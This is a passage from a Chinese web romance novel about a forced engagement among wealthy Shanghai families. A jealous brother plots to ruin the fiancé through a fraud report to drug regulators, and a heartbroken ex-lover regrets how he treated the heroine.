明燃看着他这副模样,冷笑了一声,“怎么?宋总这是怕了?傅明两家联手,下一个被吞得骨头都不剩的,你说会是谁?” 宋青州抬眸,眼神锐利如刀:“明总这是在威胁我?” “我是在陈述事实。”明燃扯了扯嘴角,“还是说,宋总就甘心一辈子被傅修沉压着,看着他名利双收,娇妻在怀,而你宋家基业,最终都成了他傅修沉商业版图上的点缀?” 这话像毒蛇,精准地咬住了宋青州最敏感的神经。 他握着茶杯的手指几不可察地收紧,指节微微泛白。 没有人比他更清楚傅修沉的可怕。 那个年轻人,有着与年龄不符的老辣和精准到可怕的市场判断力,短短几年,就将宋氏几十年的积累冲击得七零八落。 若真让傅明两家联姻,傅修沉如虎添翼,宋氏恐怕…… 宋青州沉默着,空气仿佛凝固。 他需要权衡,需要判断明燃的真实意图,以及合作可能带来的收益与风险。 明燃也不催促,他走到窗边,看着窗外沉沉的夜色,雨丝斜打在玻璃上,蜿蜒滑落,如同他此刻晦暗难明的心绪。 他厌恶这种联手对敌的戏码,尤其对象是宋青州这种老狐狸。 但只要一想到傅修沉那双深不见底的眼睛可能落在明嫣身上,那股毁灭一切的冲动就几乎要吞噬他的理智。 不知过了多久,宋青州终于开口,声音带着一丝被烟草熏燎过的沙哑:“明总想怎么合作?” 明燃猛地回头,眼底翻涌着嗜血的光:“很简单,毁了这场订婚。” 宋青州轻笑,带着嘲讽:“说得倒是轻巧。如果明总有办法的话,也不至于千里迢迢跑来江南跟我联手……除非……” 他挑了挑眉,想到今天一整天都闹得沸沸扬扬地绯闻,“舆论?” “舆论?”明燃走回沙发旁,坐下,长腿交叠,姿态重新变得慵懒,却透着更深的危险,“如果……不只是舆论呢?跃华生物 Pre-IPO,最怕的是什么?” 宋青州镜片后的眼睛眯了起来:“数据造假?核心技术侵权?安全事故?” 他摇头,“傅修沉做事滴水不漏,这些方面,很难找到突破口。” “明的不行,就来暗的。”明燃身体前倾,声音压得更低。 宋青州眸光一闪,瞬间明白了明燃的意图。 只是他没有立刻回答。 他在评估,评估这件事的风险,以及…… 明燃在此事中扮演的角色。 他可不认为明燃仅仅是因为兄妹情深。 “明总对傅总的敌意,似乎远超商业竞争范畴?”宋青州试探道。 明燃脸色骤然阴沉,眼底掠过一丝几乎无法控制的暴戾,却是转瞬即逝。 “……这你不必知道。”他掐灭烟头,瞥了他一眼,“合作吗?” 宋青州看着他这副模样,心中了然。 看来,明燃和傅修沉之间,还有更深层的,不为人知的宿怨。 这对他而言,是好事。 风险固然有,但收益…… 若能借此重创跃华,甚至将傅修沉拉下神坛,那点风险,值得一冒。 寂静在客厅里蔓延,只有两个男人沉重的呼吸声交错。 终于,宋青州缓缓站起身,走到酒柜前,倒了两杯烈酒。 他将其中一杯递给明燃。 玻璃杯相撞,发出清脆的响声。 明燃仰头,将杯中辛辣的液体一饮而尽,烈酒灼烧着喉咙,却压不住心底那团毁灭的火焰。 宋青州看着明燃,镜片后的眼睛,闪烁着冰冷而算计的光。 新局已开。 “明总,愿闻其详……” 第73章 不喜欢人家还把人脖子亲成那样?(加更) 订婚宴的筹备紧锣密鼓地启动。 效率高得惊人。 请柬设计、场地勘察、菜单拟定…… 一切都在有条不紊地向前推进。 明嫣看着母亲苏婉晴拿来的厚厚一叠订婚流程草案,终于按捺不住,试图做最后一次挣扎。 “妈,”她斟酌着用词,眉头微蹙,“我觉得……这事是不是太急了点?我和傅修沉……我们其实……” “其实什么?”苏婉晴从流程册里抬起头,脸上带着疑惑。 明嫣心一横,豁出去了:“其实我没那么喜欢他!这订婚……能不能再考虑考虑?” 苏婉晴闻言,先是愣了一下,随即没好气地白了女儿一眼,伸手戳了戳她的额头,力道不轻不重:“你呀,少跟我在这儿胡闹!不喜欢人家?不喜欢人家你能把人脖子亲成那副样子?” “我那天可是看得清清楚楚……”她说着,脸上还露出一丝过来人的揶揄:“那痕迹,没点狠劲可留不下来,跟你妈我还装?” 明嫣:“……” 她张了张嘴,脸颊瞬间爆红。 那种百口莫辩的憋屈,让她差点一口气没上来。 “那……那是意外!我喝醉了!”她徒劳地挣扎。 “喝醉了就能随便亲人?”苏婉晴一副“我懂”的表情,笑着拍了拍她的手,“年轻人,情到浓时,妈妈理解。但咱们明家的女儿,敢做敢当,既然做了,就得负责。” “再说了,修沉那孩子要家世有家世,要模样有模样,能力更是万里挑一,对你看着也是上了心的,你有什么不满意的?” “我……”明嫣语塞。 她能说什么? 说傅修沉是个步步为营的老狐狸? 说这场订婚本质是一场无关情爱的危机公关? 谁会信? 那可是傅修沉…… 站在沪圈最顶端的人物。 虽说明家也不差,但是比不上顶级豪门的傅家…… 眼见着苏婉晴甚至开始兴致勃勃地跟她讨论起订婚宴上礼服的款式,仿佛她刚才的抗议只是小女孩家的羞涩别扭。 明嫣看着母亲满脸的期待兴奋——算了。 眼不见为净。 既然反抗无效,那她躲总行了吧? 于是,在订婚筹备工作进行得如火如荼时,明大小姐干脆利落地订了机票,包袱款款,直接飞回了江南。 …… 与此同时,京都,明寒律所。 气压低得让人喘不过气。 所有员工都小心翼翼地做事,连呼吸都放轻了,生怕惊动了顶层办公室里的那位。 霍寒山自从前几天从江南回来后,整个人就像被彻底抽走了最后一丝人气,变成了一块行走的万年寒冰。 以前的他只是冷漠,疏离,如同精密运转的机器。 现在的他,则从骨子里透出一种死寂的冷,眼神空洞得可怕,偶尔扫过人时,那目光能冻得人血液凝固。 韩晋看着他这副样子,心里直叹气。 他自然也听到了傅明两家联姻的风声,下意识地就以为霍寒山是因为明嫣要订婚了才变成这样。 “唉,问世间情为何物……”韩晋摇头晃脑地感慨,恰好手机震动,他点开微信,差点被自己的口水呛到。 他因为工作关系,好友列表里躺着不少大佬,包括傅修沉。 这位爷的朋友圈向来干净得像高岭雪山,几年不见一条动态。 可今天,太阳像是打西边出来了! 傅修沉竟然发朋友圈了! 这个微信对于傅修沉而言,恐怕只是个商业工具,朋友圈常年干净得像一张白纸。 可今天,竟然破天荒地更新了! 配图是一张光线极好的照片,背景似乎是某个温暖的花房,焦点对在一株并蒂而生的十八学士茶花上,花瓣洁白,姿态缠绵。 这本身没什么,关键是图片后面,还跟着两个硕大的、红彤彤的爱心表情! ???? 韩晋揉了揉眼睛,几乎怀疑自己是不是看错了,或者加了个假号。 这……这画风是傅修沉?! 那个手腕狠厉、心思深沉的沪圈太子爷傅修沉?! 这扑面而来的近乎幼稚的暗戳戳炫耀感是怎么回事?! 跟他本人那冷峻矜贵的气质简直违和到了极点! 可偏偏又让人一眼就能感受到发布者那藏都藏不住的愉悦心情。 韩晋嘴角抽搐,忍不住低声吐槽:“……这是被盗号了吧?” 他放下手机,心情复杂地咂咂嘴。 原来像傅修沉这样站在云端的大佬谈起恋爱来,也和普通人一样,会忍不住分享,会暗戳戳地炫耀,会变得…… 这么的……接地气? 果然,爱情这玩意儿,甭管多大佬,沾上了都一个样。 摇摇头,韩晋拿起一份需要霍寒山签字的紧急文件,走向他的办公室。 敲门前,他深吸了一口气,调整好表情。 “老霍,有个并购案的紧急文件需要你……” 他一边说着一边推开门,话还没说完,就被一股浓烈刺鼻的烟味呛得连连咳嗽,眼泪都快出来了。 办公室里烟雾弥漫,几乎看不清人影。 韩晋捂着鼻子,难以置信地看向办公桌后。 霍寒山靠在椅背里,指间夹着一支燃了半截的香烟,烟灰缸里已经堆满了烟蒂。 他没什么表情地看着窗外,侧脸线条在青白色的烟雾中显得格外冷硬麻木。 “卧槽!老霍你……”韩晋惊了,连忙走过去,手忙脚乱地打开窗户,让外面冰冷的空气涌进来,“你不是最看不起抽烟的人吗?还说这是在慢性自杀?怎么你自己抽上了?还抽这么凶!” 冷风灌入,吹散了些许烟雾,也让霍寒山的身影清晰起来。 他眼底布满红血丝,下巴上冒着青色的胡茬,整个人透着一股浓重的颓废。 韩晋看着他这副样子,心里又急又气,想到刚才看到的那些朋友圈,忍不住劝道:“就算……就算你知道明嫣要跟傅修沉订婚了,也不至于这样作践自己吧?你看看人家傅修沉,朋友圈发得那叫一个春风得意,你再看看你……” 他本意是想刺激霍寒山振作一点,别沉溺在消极情绪里。 然而,他的话音刚落—— “你说什么?!谁跟谁订婚了?!” 第74章 她得有多爱你…… “你……说什么?” 霍寒山的声音嘶哑得不成样子,“谁……和谁订婚?” 韩晋被他这反应吓了一跳,心里咯噔一声,瞬间慌了:“不、不是……老霍,你……你不知道?傅修沉和明嫣啊!圈子里都传遍了,就、就下个月……” 他看着霍寒山瞬间煞白的脸,那血色褪得干干净净,像是被人抽干了全身的血液,只剩下一种濒死的灰败。 “不可能……”霍寒山猛地从椅子上站起来,动作太大,带倒了桌上的烟灰缸,烟蒂和灰烬撒了一地,狼藉不堪。 “她喜欢的是我!怎么可能会跟别人订婚?!” 他像是要说服韩晋,更像是在拼命说服自己。 对! 明嫣喜欢他,喜欢了整整五年,怎么可能转头就和别人订婚? “她一定是故意的……她在气我……”霍寒山喃喃自语,眼神狂乱,手忙脚乱地去掏口袋里的手机,“我给她打电话……我跟她说清楚……” 他颤抖着手指解锁屏幕,找到那个烂熟于心的号码拨出去—— 【对不起,您所拨打的电话正在通话中……】 冰冷机械的女声传来。 霍寒山不死心,又拨了一遍。 依旧是同样的提示音。 他像是明白了什么,手指僵硬地退出拨号界面,点开了通讯录,找到了明嫣的名字——【明嫣,订婚是怎么回事?回我电话。】 点击发送。 屏幕上瞬间弹出一个刺眼的红色感叹号,下面一行小字清晰地写着:【消息未发送成功,请先添加对方为好友。】 拉黑了…… 电话,微信……她把他所有的路都堵死了。 彻彻底底,不留一丝余地。 霍寒山猛地抬头,血红的眼睛死死盯住韩晋,“手机!把你手机给我!” 韩晋被他这样子惊得连连后退,下意识地把手机藏到身后,“老霍,你……你冷静点儿……” “我现在很冷静。”霍寒山一字一句,每一个字却像是从牙缝里挤出来一样,“手机给我。” “……” 韩晋这会儿简直恨不得扇自己一嘴巴——你说他方才多什么嘴?! 可霍寒山压根不听他说什么,直接从他手里抢过了手机。 一串繁杂的数字解锁,屏幕亮起,赫然还停留在傅修沉的朋友圈! 霍寒山的想要拨电话的手指僵住—— 不知怎么,他鬼使神差地往下滑动…… 上一条,是昨天深夜。 一张模糊的侧影剪影,靠在车窗边,轮廓柔和,发丝被风吹起。 配文只有两个字:【我的。】 再往上翻…… 【遇见你,才算活着。】 【等到了。】 一条条,一桩桩,字字没有明嫣,却字字都是她。 那几乎要溢出屏幕的珍视和占有,像一把把烧红的利刃,凌迟着霍寒山早已千疮百孔的心脏。 他死死盯着屏幕,眼球胀痛,呼吸变得粗重而艰难。 那些画面,那些文字,和他脑海中明嫣曾经望着他时,那双盛满星光和爱意的眼睛…… 她如今是不是也用这样一双眼睛看向傅修沉。 为什么? 为什么会变成这样? 嫉妒、悔恨、恐慌、绝望…… 无数种情绪如同岩浆在他胸腔里翻涌,烧光了他最后一丝理智。 他猛地戳向语音通话的按钮,动作快得韩晋根本来不及反应。 “嘟——” 拨通音响起的一刹那,韩晋吓得魂飞魄散,几乎是扑上去一把抢回手机,用尽平生最快的速度狠狠挂断! “霍寒山!你他妈疯够了没有?!”韩晋也火了,积压了许久的怒火瞬间爆发。 “你看看你现在像什么样子?!” 韩晋几乎是吼出来的,声音震得霍寒山动作一滞,“当初明嫣全心全意喜欢你的时候,你他妈的干什么去了?!” 霍寒山抬眸,猩红的眼睛死死盯着他。 韩晋却不管不顾,字字句句像淬了毒的鞭子,狠狠抽在霍寒山早已鲜血淋漓的心上。 “秦婉娇情病犯了说需要输血,你他妈问过明嫣一句没有?二话不说就让她去!一次两次,九十九次!她明嫣是移动血库吗?!抽到脸色发白差点晕倒,你关心过一句吗?!” “秦婉那边一哭二闹三上吊,电话打过来,你哪一次不是立马抛下明嫣就去哄她?!你把明嫣当什么?!召之即来挥之即去的狗吗?!” “明嫣跟你五年!整整五年!她最好的五年!她为你打理律所,为你应付难缠的客户,为你挡掉所有明枪暗箭!她像个傻子一样跟在你后面,满心满眼都是你,可你呢?!你有看见过她吗?!” “她得有多爱你……得多他妈的爱你……才能任你这么磋磨她五年……才终于心灰意冷地离开……” 韩晋的声音也带上了哽咽,他是真的为明嫣感到心疼和不平。 每一个字,都像一把重锤,狠狠砸在霍寒山的耳膜上,砸进他空洞的胸腔里。 那些被他刻意忽略,视为理所当然的过往,此刻被韩晋血淋淋地撕开,摊在他面前。 他以前看不懂…… 现在,他懂了。 那不是什么“懂事”,那是失望,是委屈,是被他一次次伤透心之后的麻木。 “呃……”霍寒山喉咙里发出一声痛苦至极的呜咽,像是心脏被人活生生掏了出来,扔在地上狠狠践踏。 他再也支撑不住,猛地松开了抢手机的手,踉跄着向后倒退,脊背重重撞在冰冷的书架上。 “噗通”一声,他沿着书架滑坐在地上,蜷缩起来。 他抬手死死按住左胸口,那里传来的剧痛几乎要将他撕裂,比他想象过的任何一种肉体伤害都要猛烈千百倍。 原来心真的可以这么痛,痛到无法呼吸,痛到浑身痉挛,痛到恨不得立刻死去。 他错过了。 那个满心满眼都是他的明嫣,再也不会回来了。 霍寒山蜷在满地狼藉的烟灰和玻璃碎渣中,眼泪毫无预兆地汹涌而出,混合着手背伤口渗出的血,砸在地上。 他后悔了。 他恨不得回到过去,掐死那个一次次伤害她的自己。 可是,晚了。 一切都晚了。 韩晋看着他这副样子,骂声戛然而止,胸口堵得发慌,最终只是重重地叹了口气,别开了眼。 早知如此,何必当初。 这世上,哪有后悔药呢? 第75章 或者……我们都试试? 江南的雨缠缠绵绵下了一天一夜。 明嫣回到律所时,袖口还沾着潮湿的水汽。 她刚脱下大衣,陆奉归就举着一个牛皮纸信封慌慌张张地跑了过来。 “老大!不好了!” 明嫣皱眉,接过信封。 很薄,里面只有一张纸。 ——是一张法院传票。 原告:秦婉。 案由:名誉权纠纷。 明嫣捏着那张纸,只觉得一股火从心底猛地窜起,气极反笑,“她告我?” 陆奉归气得脸通红:“她还有脸告?!我们还没追究她下药的事,她倒打一耙!说您在公开场合散布她‘涉嫌犯罪’的不实言论,严重损害了她的名誉!” 明嫣盯着传票上秦婉的签名,唇角慢慢扯出一抹冰冷的弧度。 好啊。 真好。 她还没去找她算账,她倒自己送上门来了。 那个侍应生翻供,张伟赵老四把一切推给那个叫马丽丽的女人顶罪,证据链断得干干净净,她正憋着一肚子火无处发泄。 秦婉这是觉得她明嫣是软柿子,可以随便捏? “老大,我们现在怎么办?”陆奉归忧心忡忡,“这案子虽然不难打,但恶心人啊!开庭审理,不管输赢,都会有人拿来做文章……” 明嫣轻笑一声,眼底却结了一层冰碴。 秦婉和她那个妈,真以为靠着傅承平那点关系,就能在江南一手遮天? 真以为找个替死鬼,就能高枕无忧? “把我们之前搜集的,所有关于秦婉、秦晓林,以及傅承平的资料,全部调出来。” 她声音平静,“包括但不限于银行流水、通讯记录、社会关系网……所有。” 陆奉归精神一振:“老大,您是要……” 明嫣拿起那张轻飘飘的传票,慢条斯理地撕成两半,再撕成四半。 碎纸屑纷纷扬扬落下,像一场小小的雪。 “她不是要告我吗?”明嫣抬眸,“那我就让她知道,撩火的下场。” 本来找不到直接证据钉死她,已经够憋屈了。 现在她自己把脸伸过来。 不打,都对不起她这份‘诚意’。 明嫣的行动力惊人。 再加上她之前就已经在准备相关证据链,当天下午,陆奉归已经将所有的资料摊在了桌面上,满脸兴奋道,“老大,我按照你之前说的线索去查,还真查到了!” 明嫣从案卷中抬起头。 “我交叉比对了秦晓林这半年的行程和消费记录!发现她多次在傅承平入住同一家酒店的时间点,也出现在那家酒店!虽然房间不是同一间,但……您懂的!” 婚外情。 明嫣指尖轻轻敲击桌面。 这虽然不能直接证明傅承平插手了秦婉的案子,但至少说明,秦晓林和傅承平的关系远比外人知道的密切。这层关系,足以让很多“巧合”变得耐人寻味。 “还有吗?” “有!”陆奉归压低声音,“我托了一个在私家侦探圈的朋友,他拍到一组照片……有点劲爆。” 他把一个密封的信封推到明嫣面前。 明嫣打开,里面是几张高清照片——秦晓林和傅承平在酒店地下车库拥抱、接吻的画面。 时间就在半个月前。 照片拍得角度刁钻,但两人的脸清晰可辨。 明嫣看着照片,眼底没有任何波澜。 她并不意外。 秦晓林能“昏迷”五年安然无恙,醒来后还能维持优渥的生活,背后没人支持才怪。 只是没想到,这个人居然是傅修沉的二叔,傅承平。 “老板,这些照片……如果放出去,够他们喝一壶了!”陆奉归摩拳擦掌。 明嫣却把照片塞回信封,摇了摇头。 “不够。” 这些桃色新闻,最多让傅承平惹上一身骚,伤不了筋骨。 对秦婉的名誉权案子,也没有直接帮助。 她要的,是一击必中。 她需要更直接、更致命的证据。 让秦婉再也翻不了身。 只不过,她也知道,这很难。 对方做得很干净。 明嫣靠在椅背上,闭上眼,脑海中飞快地闪过所有线索。 突然,她睁开眼。 “以我个人名义,反诉秦婉。”明嫣微微勾了勾唇,“告她诬告陷害,并索赔精神损失费一元。” 陆奉归一脸懵地眨了眨眼——一元? “老大……这、这什么意思?” 明嫣回眸,阳光落在她侧脸,勾勒出清晰冷硬的线条。 “按照我说的做就行。” 陆奉归下意识地想要说话,可还没等他开口,就听见明嫣的手机突然嗡嗡地震动起来。 明嫣垂眸扫了一眼——傅修沉。 她盯着那名字看了好几秒,指尖悬在红色拒接键上片刻,终究还是滑向绿色。 “喂。” 她声音里还带着未消的余怒,硬邦邦的。 电话那头静了一瞬,随即传来傅修沉低缓的嗓音,透过电流,带着点说不清的磁哑,搔刮着耳膜。 “火气这么大?” 他像是笑了下,很轻,气息微微拂过话筒。 “谁惹我们明律师了?” 明嫣不想跟他废话,更不想提秦婉那摊烂事。 “有事说事。” 傅修沉也不绕弯子,语气依旧不紧不慢,“晚上一起吃饭,商量订婚的细节。” 男人的嗓音低沉,“你喜欢中式还是西式?或者……我们都试试?” 这话说得没什么歧义,偏生他的嗓音带着几分暧昧,让明嫣瞬间就联想到某些不可言说的画面,气血“轰”地一下涌上头顶,又羞又恼:“我没空!不去!” 傅修沉的声音里听不出半分被拒绝的懊恼,反而笑意更深,“我五点去律所接你。” 明嫣气急,“我说了我不去!你听不懂吗?我晚上有……” 然而,她的话还没说完,听筒里已然传来了“嘟嘟”的忙音。 他挂了。 他竟然就这么挂了?! 明嫣不敢置信地拿下手机,盯着已然暗下去的屏幕,胸口剧烈起伏。 她气得抬手就想把手机砸出去,临到半空又硬生生忍住,只能狠狠将手机拍在桌面上,发出“砰”的一声闷响。 明嫣坐回椅子上,看着窗外依旧淅淅沥沥的雨,心情比这江南的阴雨天还要糟糕。 傅修沉…… 她在心里默念这个名字,齿间都泛着莫名的恼意。 …… 与此同时,跃华生物顶层办公室。 傅修沉刚刚挂断电话,指尖在冰凉的手机屏幕上无意识地摩挲了一下,唇角还残留着一丝未褪尽的极淡弧度。 小狐狸炸毛了。 他能想象出她此刻气鼓鼓的模样,大概会微微瞪圆了那双漂亮的眸子,脸颊泛上薄红,像只被踩了尾巴的猫。 有点可爱。 他抬手,指腹轻轻按了按眉心,压下心底那点不易察觉的痒。 而就在此时,他听见外面传来一阵嘈杂声。 办公室的门隔音极好,却依旧能听见急促的脚步声。 傅修沉眉头几不可察地蹙起。 下一秒,办公室厚重的大门被人从外面猛地推开,甚至没有敲门。 周只见几名穿着深色制服的男人快步走了进来。 为首的一人亮出证件,“傅修沉先生,我们是药监局的。” 证件上的钢印在顶灯照射下反射出冷光。 “我们接到实名举报,跃华生物在新型抗肿瘤药物‘华愈’的临床试验数据上涉嫌造假。” 那人目光如炬,紧紧锁住傅修沉。 “请你立刻跟我们回去,协助调查。” 第76章 跃华……很可能就完了(加更) 傍晚五点。 窗外的雨不知何时停了,只余下湿漉漉的地面映着渐次亮起的霓虹。 律所里安静得过分。 陆奉归和前台小妹早已下班,开放式办公区空无一人,只剩下明嫣办公室里还亮着一盏孤灯。 她心不在焉地整理着桌上的案卷,纸张翻动的沙沙声在寂静中格外清晰。 视线却总忍不住瞟向静默无声的手机屏幕。 五点零五分。 傅修沉没来。 连个解释的电话或短信都没有。 这不像他。 那个男人,一贯是说一不二。 他说五点来接,就绝不会迟到。 即便真有变故,以他那掌控一切的性子,也定然会提前告知。 一种说不清道不明的焦躁,像细小的藤蔓,悄悄缠绕上明嫣的心头。 她告诉自己,这不正好? 他不来,她乐得清静。 难不成还真要跟他去吃什么晚饭,讨论那荒谬的订婚细节? 混蛋! 她猛地合上案卷,抓起包和外套,决定不再等了。 爱来不来! 她拎着包,几乎是有些负气地快步走向电梯间。 指尖用力戳下下行键,电梯门缓缓打开,里面空无一人。 轿厢镜面映出她微蹙的眉头和抿紧的唇线。 就在电梯门即将合拢的瞬间,外面传来一阵略显急促的高跟鞋声,两个穿着职业套装,抱着文件的女人快步挤了进来,似乎是楼上公司的员工,正在热烈地讨论着什么。 “……我的天,真的假的?跃华生物的总裁被带走了?” “千真万确!我闺蜜在跃华大厦对面的写字楼上班,亲眼看到的!好几辆车呢,阵仗可大了!” “药监局的人?是因为那个新药?” “听说问题很严重,临床试验数据造假!这可是惊天大丑闻啊!跃华这次怕是要完了……” “啧啧,真是想不到……” ‘嗡——’ 明嫣只觉得大脑一片空白,尖锐的嗡鸣声瞬间剥夺了她所有的听觉。 那两个女人的议论声像是隔着一层厚重的水膜,模糊不清,却又字字如锤,狠狠砸在她的心口。 傅修沉……被带走了? 药监局……数据造假…… 她猛地抬头,看向镜子里自己瞬间失血的脸。 电梯数字不断跳动,下行。 “叮——” 一楼到了。 电梯门打开,那两个女人还在唏嘘感慨,并肩走了出去。 明嫣却像是被钉在了原地,手脚冰凉。 直到电梯门即将再次关上,她才猛地回神,有些踉跄地冲了出去。 律师事务所大楼外,华灯初上,车水马龙。 晚风带着湿冷的寒意,吹在她脸上,却吹不散心头的惊骇与冰冷。 她站在街边,看着川流不息的车流,第一次感到如此无措。 怎么会…… 数据造假? 这怎么可能? 以傅修沉对跃华生物的重视程度,以他那种近乎偏执的掌控欲和完美主义,他怎么可能允许这种事情发生? 这是死局。 一旦坐实,不仅仅是傅修沉个人面临刑事责任,跃华生物声名扫地,Pre-IPO彻底泡汤,连带着傅家都会受到巨大冲击。 她想起他那天一脸严肃地跟她分析形象危机,说什么潜在市值损失数百亿…… 当时她觉得荒谬。 可现在…… 那点所谓的“桃色新闻”造成的股价波动,与眼前这涉嫌刑事犯罪的“数据造假”风波相比,简直微不足道! 明嫣死死攥紧了手指,指甲深深陷进掌心。 理智告诉她,她现在最好什么都不要做。 这种级别的风波,牵一发而动全身,她一个局外人,贸然插手,很可能适得其反,甚至引火烧身。 可是…… 脑海里不受控制地浮现出傅修沉的脸。 冷峻的,含笑的,戏谑的,甚至是…… 在花房里,低头吻住她时,那深邃专注的眼神。 他帮过她很多次。 在她最狼狈的时候,是他伸出手。 在她被秦婉母女逼到墙角时,是他提供了关键线索。 哪怕他手段强势,心思难测,甚至“讹”她订婚…… 但在这一刻,那些纷杂的情绪都被巨大的担忧压了下去。 她不能眼睁睁看着。 至少,她不能什么都不做。 魔都! 对,傅老爷子! 这种时候,只有傅老爷子能稳住局面,或许能有转圜的余地! 明嫣几乎是立刻拿出手机,手指颤抖着,订了最近一班飞往魔都的机票。 然后,她拦下一辆出租车,直奔机场。 …… 两个多小时后。 飞机降落在魔都国际机场。 明嫣甚至没来得及回家,直接打车赶往傅家老宅。 夜色中的傅家老宅,比上次来时更显肃穆凝重。 巨大的铁门紧闭,门廊下的灯光幽冷,映照着门卫警惕而严肃的脸。 通报,等待。 每一分每一秒都变得无比漫长。 明嫣站在初冬的夜风里,只觉得那股寒意从脚底一点点蔓延至全身。 不知过了多久,老管家福伯才步履匆匆地出来,对她微微躬身,“明小姐,老爷子请您进去。” 书房里。 傅老爷子坐在那张宽大的紫檀木书桌后,神色倒是看不出太多波澜,只是眉眼间带着一丝难以掩饰的疲惫,仿佛一夜之间苍老了许多。 他指了指对面的椅子,“坐吧,嫣儿。” “傅爷爷,”明嫣顾不上客套,急切地开口,“傅修沉他……” “情况不太好。”傅老爷子打断她,语气沉缓,“药监局接到了非常详实的实名举报材料,证据指向性很强。现在人还在配合调查,暂时不能回来。” 他顿了顿,看向明嫣,目光锐利,“跃华的核心就是‘华愈’这个新药。数据造假一旦被认定,不仅仅是上市无望,之前投入的巨额研发资金打水漂,更会面临天价的投资者索赔和监管部门的严厉处罚。跃华……很可能就完了。” 每一个字,都像冰锥,砸在明嫣心上。 她张了张嘴,喉咙干涩,“……我能做些什么?” 傅老爷子摇了摇头,语气带着一种历经风霜后的沉稳,却也透着一丝无力,“现在最好的做法,就是按兵不动。外面不知道多少双眼睛盯着傅家,盯着跃华。你任何轻举妄动,都可能被过度解读,成为攻击修沉和跃华的新弹药。” 他深深地看着明嫣,问道:“嫣儿,你相信修沉吗?” 明嫣几乎没有任何犹豫。 “我信。” 她不信傅修沉会做出数据造假这种事。 那个男人,或许手段狠厉,心思深沉,但在商业上,他有他的骄傲和底线。 傅老爷子脸上终于露出一丝极淡的,近乎欣慰的笑意。 “那就好。” 他缓缓靠向椅背,目光投向窗外沉沉的夜色,声音低沉却带着一种奇异的定力。 “相信他,就安心等着。” “可是……”明嫣还想再问,心口的焦灼让她无法安然等待。 傅老爷子却收回目光,重新看向她,那双阅尽千帆的眼睛里,此刻竟带着一丝不容置疑的决断。 他轻轻吐出几个字,却像重锤定音—— “这也是修沉的意思。” 明嫣猛地怔住。 第77章 如果我说有呢? “你放心……” 见明嫣依旧没有紧皱,傅老爷子轻笑了一声,“他现在虽然在配合调查,暂时出不来,但吃住无碍,只是不得自由。” “给这个小子吃点教训也好,小小年纪爬到现在的位置就掉以轻心,不懂借力打力还四处树敌。”傅老爷子冷哼一声,“殊不知想拉他下神坛的牛鬼蛇神多的是。” 明嫣攥紧了手指,指甲陷进掌心,带来细微的刺痛。 “那如果……如果他真的不慎被冤枉了呢?” 傅老爷子抬眸,那双看透世情的眼睛里没什么波澜,语气平淡得像在说一件与己无关的事。 “那也是他的命数。” 命数? 轻飘飘的两个字,就盖棺定论了傅修沉可能面临的万丈深渊。 明嫣喉咙发紧,还想再说些什么,却见傅老爷子已缓缓阖上眼,摆了摆手,姿态里是送客的意味。 她所有的话都堵在了喉咙里。 心,沉沉下坠。 她不信傅修沉会数据造假,那个男人骄傲如斯,手段或许凌厉,却不屑于在这种根基上动手脚。 明嫣心不在焉地离开了傅家老宅。 初冬的夜风刮在脸上,带着刺骨的凉意,她却感觉不到冷。 车子驶向明家,窗外的流光碎影飞速倒退,模糊成一片。 …… 明家别墅灯火通明。 车刚停稳,祥叔就满脸欢喜地迎了出来,“小姐回来了!先生和夫人出去应酬了,家里就少爷在。” 明嫣脚步微顿。 只有大哥在…… 她点了点头,没说什么,径直走了进去。 宽敞的客厅里空荡荡的,暖黄的灯光流淌下来,却驱不散那股莫名的冷清。 “小姐,要喝点热汤吗?厨房一直温着。”祥叔关切地问。 “不用了,祥叔,我不饿。”明嫣摇摇头,她现在没什么胃口。 她需要静一静,理一理混乱的思绪。 脚步却不由自主地,朝着别墅后方的玻璃花房走去。 那是家里最安静的地方。 推开沉重的玻璃门,湿润温暖的空气夹杂着浓郁的花香扑面而来。 巨大的弧形观景窗映出外面沉沉的夜色,以及室内错落有致的珍稀花卉。 而就在花房中央,那片盛放的蓝色绣球花旁,一道熟悉的高大身影背对着她,随意地坐在阶梯状的观赏台上。 明燃一条长腿曲起,手肘搭在膝上,另一条长腿随意地伸展开,跨了好几级台阶,姿态说不出的慵懒,侧影在层叠的花叶间半明半暗,指尖夹着半截烟,猩红一点,在朦胧的夜色里明明灭灭。 听到脚步声,他转过头来。 目光相撞的瞬间,空气似乎凝滞了几分。 他那双深邃的眼眸里带着淡淡的审视,没什么情绪,却让明嫣的心莫名一紧。 “怎么舍得回来了?”明燃开口,声音低沉,没什么波澜,“不是喜欢待在江南吗?” 明嫣抿了抿唇,走到他下方几级台阶站定,仰头看他。 这个角度,更显得他身形挺拔,带着无形的压迫感。 她深吸一口气,压下心底的纷乱,直接问道:“哥,傅修沉被药监局带走调查的事,你知道吗?” 明燃眉梢几不可察地动了一下,语气漫不经心:“闹得满城风雨,想不知道都难。” “这件事……”明嫣斟酌着用词,目光紧紧锁住他,“你有没有参与……” 她问得直接,心脏在胸腔里不受控制地加快跳动。 她想起大哥对傅修沉毫不掩饰的敌意,想起他激烈反对订婚的态度,想起他不久前才去过江南…… 明燃看着她,忽然低低地笑了一声,那笑声里听不出什么暖意。 他将烟递到唇边,深深吸了一口,然后缓缓吐出烟雾,青白的雾气模糊了他棱角分明的脸。 “如果我说有呢?” 他如此直接,毫不遮遮掩掩,那双漆黑幽戾的眼睛就这样坦然盯着她。 倒把明嫣弄得愣了愣,一时竟不知该如何接话。 她设想过他否认,或者迂回,却没想到他承认得这般干脆。 她复又沉下声音,带着不易察觉的微颤:“为什么?” “呵,为什么?”明燃重复了一遍,像是听到了什么有趣的问题。 他掐灭了烟,站起身。 他身材高大,一起身便带来一股无形的压迫感,几步就走到明嫣面前。 阴影笼罩下来,他低头看着她,眼神锐利如刀,“我是不是告诉过你,离他远点?” “我是不是说过,他不是好东西?” “我是不是还说过——”他微微俯身,气息拂过她的额发,声音压得更低,一字一句,砸在她心上,“这婚,订不成。” 明嫣被他逼得后退半步,脊背抵上冰凉微湿的玻璃墙面,寒意瞬间穿透薄薄的衣料。 “就因为这个?你就要用这种方式毁了他?”她的声音拔高,带着质问,“你知道数据造假如果坐实,他会面临什么吗?哥,这不是儿戏!” “儿戏?”明燃嗤笑,眼底却毫无笑意,“你觉得我是在玩过家家?” “嫣儿,你太天真了。商场上你死我活,从来就不是儿戏。傅修沉倒下去,自然有别人站起来。至于他会面临什么……” 他顿了顿,嘴角勾起一抹冷峭的弧度,“那是他技不如人,活该。” 活该…… “就因为他要和我订婚?!”明嫣心头一紧,“哥,我已经不是小孩子了,我有权利选择和谁在一起!” 